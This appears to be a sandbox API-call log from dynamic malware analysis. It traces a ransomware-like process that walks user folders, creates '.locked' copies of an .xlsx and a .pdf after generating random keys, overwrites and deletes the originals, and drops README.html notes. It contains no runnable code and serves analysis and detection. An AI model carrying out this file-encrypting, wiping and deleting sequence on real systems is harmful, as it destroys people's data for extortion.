	[0075.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e55290, ftCreationTime.dwHighDateTime=0x1d4c7fd, ftLastAccessTime.dwLowDateTime=0xa98196a0, ftLastAccessTime.dwHighDateTime=0x1d4cdf9, ftLastWriteTime.dwLowDateTime=0xa98196a0, ftLastWriteTime.dwHighDateTime=0x1d4cdf9, nFileSizeHigh=0x0, nFileSizeLow=0x132a2)) returned 1
	[0075.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.923] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.931] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.931] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.931] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0075.931] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.931] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.933] SetEvent (hEvent=0x8c) returned 1
	[0075.933] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x132a2, lpOverlapped=0x0) returned 1
	[0075.935] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x132a2, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x132a2, lpOverlapped=0x0) returned 1
	[0075.937] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.937] CloseHandle (hObject=0xc4) returned 1
	[0075.938] CloseHandle (hObject=0xc0) returned 1
	[0075.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.939] SetEvent (hEvent=0x8c) returned 1
	[0075.939] SetEvent (hEvent=0x78) returned 1
	[0075.939] SetEvent (hEvent=0xb4) returned 1
	[0075.939] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.939] SetEvent (hEvent=0xb4) returned 1
	[0075.939] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4e) returned 1
	[0075.941] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx")) returned 1
	[0075.959] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.960] SetEvent (hEvent=0xa8) returned 1
	[0075.960] SetEvent (hEvent=0x78) returned 1
	[0075.965] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.965] SetEvent (hEvent=0x78) returned 1
	[0075.965] SetEvent (hEvent=0xb4) returned 1
	[0075.965] SetEvent (hEvent=0x8c) returned 1
	[0075.965] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.965] SetEvent (hEvent=0x8c) returned 1
	[0075.967] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.967] SetEvent (hEvent=0x8c) returned 1
	[0075.967] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.968] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.968] SetEvent (hEvent=0x8c) returned 1
	[0075.968] SetEvent (hEvent=0xb4) returned 1
	[0075.968] SetEvent (hEvent=0x78) returned 1
	[0075.968] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.968] SetEvent (hEvent=0x78) returned 1
	[0075.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.969] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.969] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.989] CloseHandle (hObject=0xc0) returned 1
	[0075.997] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\hTL2X-ua0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\htl2x-ua0.xlsx")) returned 1
	[0076.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb292b4e0, ftCreationTime.dwHighDateTime=0x1d4c868, ftLastAccessTime.dwLowDateTime=0xc3cc9bc0, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0xc3cc9bc0, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb292b4e0, ftCreationTime.dwHighDateTime=0x1d4c868, ftLastAccessTime.dwLowDateTime=0xc3cc9bc0, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0xc3cc9bc0, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.006] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb292b4e0, ftCreationTime.dwHighDateTime=0x1d4c868, ftLastAccessTime.dwLowDateTime=0xc3cc9bc0, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0xc3cc9bc0, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.006] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd977f10, ftCreationTime.dwHighDateTime=0x1d4ca73, ftLastAccessTime.dwLowDateTime=0x4fbd8210, ftLastAccessTime.dwHighDateTime=0x1d4c650, ftLastWriteTime.dwLowDateTime=0x4fbd8210, ftLastWriteTime.dwHighDateTime=0x1d4c650, nFileSizeHigh=0x0, nFileSizeLow=0x76b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="izAPhrCo5geU NpBp.pdf", cAlternateFileName="IZAPHR~1.PDF")) returned 1
	[0076.006] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.006] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.007] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0076.007] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.008] CloseHandle (hObject=0xc0) returned 1
	[0076.008] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x67, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee84c*=0x67) returned 1
	[0076.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd977f10, ftCreationTime.dwHighDateTime=0x1d4ca73, ftLastAccessTime.dwLowDateTime=0x4fbd8210, ftLastAccessTime.dwHighDateTime=0x1d4c650, ftLastWriteTime.dwLowDateTime=0x4fbd8210, ftLastWriteTime.dwHighDateTime=0x1d4c650, nFileSizeHigh=0x0, nFileSizeLow=0x76b4)) returned 1
	[0076.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.010] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0076.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.012] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0076.012] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c380 | out: pbBuffer=0x1238c380) returned 1
	[0076.012] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796310 | out: pbBuffer=0x12796310) returned 1
	[0076.012] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.012] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0076.015] SetEvent (hEvent=0xb4) returned 1
	[0076.015] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x76b4, lpOverlapped=0x0) returned 1
	[0076.016] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x76b4, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x76b4, lpOverlapped=0x0) returned 1
	[0076.017] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0076.017] CloseHandle (hObject=0xc4) returned 1
	[0076.018] CloseHandle (hObject=0xc0) returned 1
	[0076.018] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.018] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.018] SetEvent (hEvent=0xb4) returned 1
	[0076.018] SetEvent (hEvent=0x78) returned 1
	[0076.018] SetEvent (hEvent=0x8c) returned 1
	[0076.018] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.019] SetEvent (hEvent=0x8c) returned 1
	[0076.019] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x67, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee7d8*=0x67) returned 1
	[0076.020] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf")) returned 1
	[0076.055] SetEvent (hEvent=0x78) returned 1
	[0076.060] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.061] SetEvent (hEvent=0x78) returned 1
	[0076.061] SetEvent (hEvent=0x8c) returned 1
	[0076.061] SetEvent (hEvent=0xb4) returned 1
	[0076.061] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.061] SetEvent (hEvent=0xb4) returned 1
	[0076.063] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.063] SetEvent (hEvent=0xa8) returned 1
	[0076.063] SetEvent (hEvent=0xb4) returned 1
	[0076.063] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.064] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.064] SetEvent (hEvent=0xb4) returned 1
	[0076.064] SetEvent (hEvent=0x8c) returned 1
	[0076.064] SetEvent (hEvent=0x78) returned 1
	[0076.064] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.065] SetEvent (hEvent=0xa8) returned 1
	[0076.065] SetEvent (hEvent=0x78) returned 1
	[0076.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.066] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0076.066] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.081] CloseHandle (hObject=0xc0) returned 1
	[0076.090] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\zxy1zpsMEyu9i-oEm\\izAPhrCo5geU NpBp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\zxy1zpsmeyu9i-oem\\izaphrco5geu npbp.pdf")) returned 1
	[0076.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.099] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.099] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0076.099] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.099] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.100] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0076.100] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.101] CloseHandle (hObject=0xc0) returned 1
	[0076.101] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee914*=0x42) returned 1
	[0076.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0076.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.103] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
